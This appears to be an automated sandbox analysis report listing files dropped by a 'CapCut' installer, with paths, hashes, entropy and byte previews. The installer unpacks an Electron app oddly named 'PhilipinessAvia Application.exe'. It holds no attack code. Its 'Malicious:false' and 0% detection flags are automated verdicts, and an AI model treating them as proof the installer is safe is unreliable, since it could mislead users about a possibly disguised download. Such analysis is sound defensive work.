                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_x4obwrsi.rrc.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xnzihekv.3ed.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z2lpat03.xft.psm1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zmyp2u3n.3dv.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zpyv5fo2.5jn.ps1

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\LICENSE.electron.txt

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:ASCII text
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):1096
                                                                                                                                                                                                                                                                        Entropy (8bit):5.13006727705212
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:24:36DiJHxRHuyPP3GtIHw1Gg9QH+sUW8Ok4F+d1o36qjFD:36DiJzfPvGt7ICQH+sfIte36AFD
                                                                                                                                                                                                                                                                        MD5:4D42118D35941E0F664DDDBD83F633C5
                                                                                                                                                                                                                                                                        SHA1:2B21EC5F20FE961D15F2B58EFB1368E66D202E5C
                                                                                                                                                                                                                                                                        SHA-256:5154E165BD6C2CC0CFBCD8916498C7ABAB0497923BAFCD5CB07673FE8480087D
                                                                                                                                                                                                                                                                        SHA-512:3FFBBA2E4CD689F362378F6B0F6060571F57E228D3755BDD308283BE6CBBEF8C2E84BEB5FCF73E0C3C81CD944D01EE3FCF141733C4D8B3B0162E543E0B9F3E63
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:Copyright (c) Electron contributors.Copyright (c) 2013-2020 GitHub Inc...Permission is hereby granted, free of charge, to any person obtaining.a copy of this software and associated documentation files (the."Software"), to deal in the Software without restriction, including.without limitation the rights to use, copy, modify, merge, publish,.distribute, sublicense, and/or sell copies of the Software, and to.permit persons to whom the Software is furnished to do so, subject to.the following conditions:..The above copyright notice and this permission notice shall be.included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,.EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF.MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND.NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE.LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION.OF CONTRACT, TORT OR OTHERWISE, ARISIN

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\LICENSES.chromium.html

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:HTML document, ASCII text
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):8312662
                                                                                                                                                                                                                                                                        Entropy (8bit):4.705814170451806
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:24576:dbTy6TU675kfWScRQfJw91SmfJB6i6e6R626X8HHdE/pG6:tygpj
                                                                                                                                                                                                                                                                        MD5:312446EDF757F7E92AAD311F625CEF2A
                                                                                                                                                                                                                                                                        SHA1:91102D30D5ABCFA7B6EC732E3682FB9C77279BA3
                                                                                                                                                                                                                                                                        SHA-256:C2656201AC86438D062673771E33E44D6D5E97670C3160E0DE1CB0BD5FBBAE9B
                                                                                                                                                                                                                                                                        SHA-512:DCE01F2448A49A0E6F08BBDE6570F76A87DCC81179BB51D5E2642AD033EE81AE3996800363826A65485AB79085572BBACE51409AE7102ED1A12DF65018676333
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview: Generated by licenses.py; do not edit. --><!doctype html>.<html>.<head>.<meta charset="utf-8">.<meta name="viewport" content="width=device-width">.<meta name="color-scheme" content="light dark">.<title>Credits</title>.<link rel="stylesheet" href="chrome://resources/css/text_defaults.css">.<link rel="stylesheet" href="chrome://credits/credits.css">.</head>.<body>.<span class="page-title" style="float:left;">Credits</span>.<a id="print-link" href="#" style="float:right;" hidden>Print</a>.<div style="clear:both; overflow:auto;"> Chromium <3s the following projects -->.<div class="product">.<span class="title">2-dim General Purpose FFT (Fast Fourier/Cosine/Sine Transform) Package</span>.<span class="homepage"><a href="http://www.kurims.kyoto-u.ac.jp/~ooura/fft.html">homepage</a></span>.<input type="checkbox" hidden id="0">.<label class="show" for="0" tabindex="0"></label>.<div class="licence">.<pre>Copyright(C) 1997,2001 Takuya OOURA (email: ooura@kurims.kyoto-u.ac.jp)..You may us

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\PhilipinessAvia Application.exe

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):160112640
                                                                                                                                                                                                                                                                        Entropy (8bit):6.744386287360523
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:1572864:HLBZB52nvuZ7wVuMbgR7Sp6kYdEctmhoLsPagBsgkx52HYhwj+vfIBUdoJnP9Dj0:HypCmJctBjj2+Jv
                                                                                                                                                                                                                                                                        MD5:13A330AD06FA31614522A0680888B16C
                                                                                                                                                                                                                                                                        SHA1:90E7D37A7288A585F68D9DA1639F83F583964DB6
                                                                                                                                                                                                                                                                        SHA-256:8DCBDC74FB8D1C2A7266827D21A921AAF9566C291BAB9CA7A4AADC5DA75BCBFB
                                                                                                                                                                                                                                                                        SHA-512:FB28C32C8699F4398CB430BF55D82E93E54D8D7B9A67906FB139CF501AFC5976192A1E9541E08CEEAB51F1A944C1FEB79E4791ABF1881C1C5A2D70B13E2676BA
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........."......0...........F.........@.............................P............`...........................................+.. ..0"..h............Pt.._@..................!.......................!.(... Q..@...........@8......`.*......................text...:/.......0.................. ..`.rdata..h.n..@....n..4..............@..@.data....TB...1.......1.............@....pdata..._@..Pt..`@...9.............@..@.00cfg..0.............z.............@..@.gxfg...pA.......B....z.............@..@.retplne.............Dz..................rodata...... .......Fz............. ..`.tls.........@.......Xz.............@...CPADinfo8....P.......\z.............@...LZMADEC......`.......^z............. ..`_RDATA..\............pz.............@..@malloc_h+............rz............. ..`.rsrc................xz.............@..@.reloc...............|.............@..B................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\chrome_100_percent.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):127125
                                                                                                                                                                                                                                                                        Entropy (8bit):7.915612661029362
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3072:vlKzwqCT4wDNzIwL2o418Gb0+VRLf0ld0GY3cQ39Vm2I:vlKzwt4uEgK18Gb0OV8ld0GecQ3f2
                                                                                                                                                                                                                                                                        MD5:ACD0FA0A90B43CD1C87A55A991B4FAC3
                                                                                                                                                                                                                                                                        SHA1:17B84E8D24DA12501105B87452F86BFA5F9B1B3C
                                                                                                                                                                                                                                                                        SHA-256:CCBCA246B9A93FA8D4F01A01345E7537511C590E4A8EFD5777B1596D10923B4B
                                                                                                                                                                                                                                                                        SHA-512:3E4C4F31C6C7950D5B886F6A8768077331A8F880D70B905CF7F35F74BE204C63200FF4A88FA236ABCCC72EC0FC102C14F50DD277A30F814F35ADFE5A7AE3B774
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:..............t...#.....:.I...J~p...K~6...L~....M~#...N~....O~`...P~m...Q~....R~....S~I...T~....U~'"..V~.,..^~.7.._~;9..b~v:..c~(<..j~.<..k~.B..l~fH..m~.J..n~.K..o~.L.....M.....N....aP....IS....BV....uY.....]....Pa.....d....h....i...hk....l....m...An....n.....................................K.....x...........4.....m.....D.............................1........................'.....*.....4.....>.....C.....D....hM.....U.....V....>X.....Z....E].....]....a...%c....d....f....h....i....k....l....o...wq....t...7v....y....}....~...m................................3.................g.....6............................k.....-...........3.....9......................H.......................Y.................{.....s....M..............F...................&....y..............\....p....Z.........Z.........g...........................T..................6...............M.................r...........1.................X.................u.......

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\chrome_200_percent.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):177406
                                                                                                                                                                                                                                                                        Entropy (8bit):7.939611912805236
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3072:4DQYaEQN6AJPKNzIwafR54x5GMR+F44ffbdZnYw9p4AbIVGYoDd+HxNK/rIM0:4DQYaNN68QEVgx5GMRejnbdZnVE6YopY
                                                                                                                                                                                                                                                                        MD5:4610337E3332B7E65B73A6EA738B47DF
                                                                                                                                                                                                                                                                        SHA1:8D824C9CF0A84AB902E8069A4DE9BF6C1A9AAF3B
                                                                                                                                                                                                                                                                        SHA-256:C91ABF556E55C29D1EA9F560BB17CC3489CB67A5D0C7A22B58485F5F2FBCF25C
                                                                                                                                                                                                                                                                        SHA-512:039B50284D28DCD447E0A486A099FA99914D29B543093CCCDA77BBEFDD61F7B7F05BB84B2708AE128C5F2D0C0AB19046D08796D1B5A1CFF395A0689AB25CCB51
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:..............t...#.....:.t...J~....K~....L~....M~....N~....O~....P~.%..Q~.*..R~.-..S~c5..T~.9..U~.A..V~.V..^~Ck.._~.m..b~)o..c~yr..j~#s..k~.}..l~....m~...n~...o~......................................K.....!..................Q..............*........................a.......................,%....H0.....2....E:....(A.....F.....L.....R.....T....QY....:].....f.....i....br....Sv..........C...........).................].....}................................................................................................. ....!....%.....*.....,..........O/...../....y1.....2....l4.....6.....7....A:.....?.....C.....K.....S.....Y....._.....e....Ok.....l.....m.....n.....o.....q.....r.....s.....u....:w..............P............................%.............7................,........G........u.............B........S.........a....%........;.....................l...........T..........R...........6..........).............

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\d3dcompiler_47.dll

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):4916712
                                                                                                                                                                                                                                                                        Entropy (8bit):6.398049523846958
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:49152:KCZnRO4XyM53Rkq4ypQqdoRpmruVNYvkaRwvhiD0N+YEzI4og/RfzHLeHTRhFRNc:xG2QCwmHPnog/pzHAo/A6l
                                                                                                                                                                                                                                                                        MD5:2191E768CC2E19009DAD20DC999135A3
                                                                                                                                                                                                                                                                        SHA1:F49A46BA0E954E657AAED1C9019A53D194272B6A
                                                                                                                                                                                                                                                                        SHA-256:7353F25DC5CF84D09894E3E0461CEF0E56799ADBC617FCE37620CA67240B547D
                                                                                                                                                                                                                                                                        SHA-512:5ADCB00162F284C16EC78016D301FC11559DD0A781FFBEFF822DB22EFBED168B11D7E5586EA82388E9503B0C7D3740CF2A08E243877F5319202491C8A641C970
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                        Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........|3..]...]...]..e\...]...\.5.]..e...]..wX...]..wY...]..e^...]..eX.y.]..eY...]..e]...]..eU./.]..e....]..e_...].Rich..].................PE..d...^.}`.........." ......8..........<).......................................K.....:FK...`A........................................`%G.x....(G.P.....J.@.....H.......J..%....J.....p.D.p....................S<.(...pR<.@............S<.(............................text.....8.......8................. ..`.rdata...F....8..P....8.............@..@.data...`....@G......@G.............@....pdata........H......@H.............@..@.rsrc...@.....J......@J.............@..@.reloc........J......PJ.............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\ffmpeg.dll

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):2883072
                                                                                                                                                                                                                                                                        Entropy (8bit):6.697367886822868
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:49152:YGJO72cNsdMZWfAn1fdmZMOqcQrGhjUHgNxGUwSCmmfYDJGz5SN3lzl3hSKqH:Jj8n1QqGCmmfIUz59t
                                                                                                                                                                                                                                                                        MD5:E096C168B79A56DED0DF1AA142D9F1DA
                                                                                                                                                                                                                                                                        SHA1:318F20DAB294A315BD935160E9417FB5B28300F5
                                                                                                                                                                                                                                                                        SHA-256:65CC75329D17EC264E7A2DB571EA55F918394241445EA64569A56C75D0CFDC60
                                                                                                                                                                                                                                                                        SHA-512:3DCCF6CE85EF7E75690A5851642F10BB5E6E1572E91E933BACB7FCBFE405B0412B94BA0E160C3BA8D68D2B9AFC1DA268F61C83DCCD6453D8C9470931EE900BFD
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." .....$#..................................................@B...........`A..........................................*.......*.(.............@...............B..3....).......................).(....R#.@............"*.P............................text....##......$#................. ..`.rdata..l....@#......(#.............@..@.data...x.....*.."....*.............@....pdata........@.......*.............@..@.00cfg..8.....A.......+.............@..@.gxfg....,....A.......+.............@..@.retplne......A.......+..................tls..........A.......+.............@..._RDATA..\.....A.......+.............@..@.reloc...3....B..4....+.............@..B........................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\icudtl.dat

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):10542048
                                                                                                                                                                                                                                                                        Entropy (8bit):6.277141340322909
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:98304:OKPBQYOo+ddlymOk25flQCUliXUxiG9Ha93Whla6ZGdnp/8k:OKPBhORjOhCliXUxiG9Ha93Whla6ZGrn
                                                                                                                                                                                                                                                                        MD5:D89CE8C00659D8E5D408C696EE087CE3
                                                                                                                                                                                                                                                                        SHA1:49FC8109960BE3BB32C06C3D1256CB66DDED19A8
                                                                                                                                                                                                                                                                        SHA-256:9DFBE0DAD5C7021CFE8DF7F52458C422CBC5BE9E16FF33EC90665BB1E3F182DE
                                                                                                                                                                                                                                                                        SHA-512:DB097CE3EB9E132D0444DF79B167A7DCB2DF31EFFBBD3DF72DA3D24AE2230CC5213C6DF5E575985A9918FBD0A6576E335B6EBC12B6258BC93FA205399DE64C37
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:...'........CmnD........ Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html .Q....B.......B...#...B.. $...B..p$...B...$...B...%...B..`P...C...P...C...Q..(C......<C.....OC......bC..@...uC.......C..P....C.......C.......C..p....C.. ....C.......C.......D..p... D.....3D..0...FD.....YD.....lD.......D......D..0....D.......D..p....D......D..@....D.......E......E..@...*E.....=E..P...NE......bE.....rE..@....E.......E.......E..P....E.......E......E..@....F.......F.....'F..0...7F..P...JF......aF......qF...G...F.. H...F..`K...F...K...F...L...F...-...F...c...G....'.'G....'.>G..@.'.UG..0.'.oG....'..G...!'..G...!'..G..P&'..G...)'..G..@*'..H..`.(..H...e).7H..0.).VH...)*.xH....*..H....*..H...P+..H...Y+..H...Z+..I...]+. I..`^+.9I.. .+.UI....+.lI....+..I..P.-..I...=...I.......I.......I.. ....J..p....J......-J..p...EJ......ZJ......rJ..`....J..@....J.......J.......J..0....J.......J.......J..0....K..@....K..../.2K...,/.GK..../.\K..

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\libEGL.dll

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):481280
                                                                                                                                                                                                                                                                        Entropy (8bit):6.330677392522242
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:F9L2FFtoVsruIzUEzUST6uHKw+BubaOQ74PlqF8:F9CGafznzUSTRY70I
                                                                                                                                                                                                                                                                        MD5:1EECFB04C4434F5A813C8F0C0C8F2C88
                                                                                                                                                                                                                                                                        SHA1:6DC3CA4B3F72E7FB33BA26FA488DE323EDB59ADD
                                                                                                                                                                                                                                                                        SHA-256:897CEB95FB164640DDD2426673997B5F6FC2619FD916B038B575A70A0682A706
                                                                                                                                                                                                                                                                        SHA-512:D7818A42A76508AC3150AEA8D4E168B2DB36F55F71983A177002086380A82E307624CFE37B01FFC3D7EB407485D182654D0D7C6A0C06CCAAE60666630469C7E0
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." .....$................................................................`A........................................00......F>..(.......x.... ...C..............0....(.......................'..(...@A..@...........pA...............................text....".......$.................. ..`.rdata.......@.......(..............@..@.data....L....... ..................@....pdata...C... ...D..................@..@.00cfg..8....p......................@..@.gxfg...`$.......&..................@..@.retplne.............>...................tls....!............@..............@..._RDATA..\............B..............@..@.rsrc...x............D..............@..@.reloc..0............J..............@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\libGLESv2.dll

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):7625728
                                                                                                                                                                                                                                                                        Entropy (8bit):6.463180789552528
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:98304:U8qvGdDtslh+LD3ZDWfnSvBSDU5bPm3k89Ld3gsOMt/:JD3ZXJ7bPWLWsD/
                                                                                                                                                                                                                                                                        MD5:CBA2436016F7A2838588A52D5B6F30F1
                                                                                                                                                                                                                                                                        SHA1:81DDF44B3E122DFBEE1A2CD8D4544364F1A621A4
                                                                                                                                                                                                                                                                        SHA-256:BCB3A3D2FCA3C33FA3D1D5DC976AA913CDC8001DF8E64C2CD3D2C545245141BF
                                                                                                                                                                                                                                                                        SHA-512:D92A880B5F83C5AE10AE9A83E38A293BB0E8C7659DD6ECE162FC752D57C9FCDE8036B81B023CD9F0F4F32B95B06FD4C366E20301010354B6CB904398A3149A44
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Antivirus:
                                                                                                                                                                                                                                                                        • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......Z...........M......................................`u...........`A..........................................k.8.....l.d....pt.......q.lO............t......vk.....................huk.(.....Z.@.............l.......k.@....................text...e.Z.......Z................. ..`.rdata..l.....Z.......Z.............@..@.data.........m..|....m.............@....pdata..lO....q..P....q.............@..@.00cfg..8.....t......Ps.............@..@.gxfg....+....t..,...Rs.............@..@.retplne.....@t......~s..................tls....:....Pt.......s.............@..._RDATA..\....`t.......s.............@..@.rsrc........pt.......s.............@..@.reloc........t.......s.............@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\locales\af.pak

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):377708
                                                                                                                                                                                                                                                                        Entropy (8bit):5.4079285675542845
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:6144:ebGJWQdLX/Wi6fR9a5DhZ2FQPnUGSBhjA636Zi2Jyn9Ybt5KXpgmLwSVxJsVxSjf:6GJW2bOi6fRmZ2OPnUThjA636Zi2Jynd
                                                                                                                                                                                                                                                                        MD5:7E51349EDC7E6AED122BFA00970FAB80
                                                                                                                                                                                                                                                                        SHA1:EB6DF68501ECCE2090E1AF5837B5F15AC3A775EB
                                                                                                                                                                                                                                                                        SHA-256:F528E698B164283872F76DF2233A47D7D41E1ABA980CE39F6B078E577FD14C97
                                                                                                                                                                                                                                                                        SHA-512:69DA19053EB95EEF7AB2A2D3F52CA765777BDF976E5862E8CEBBAA1D1CE84A7743F50695A3E82A296B2F610475ABB256844B6B9EB7A23A60B4A9FC4EAE40346D
                                                                                                                                                                                                                                                                        Malicious:false
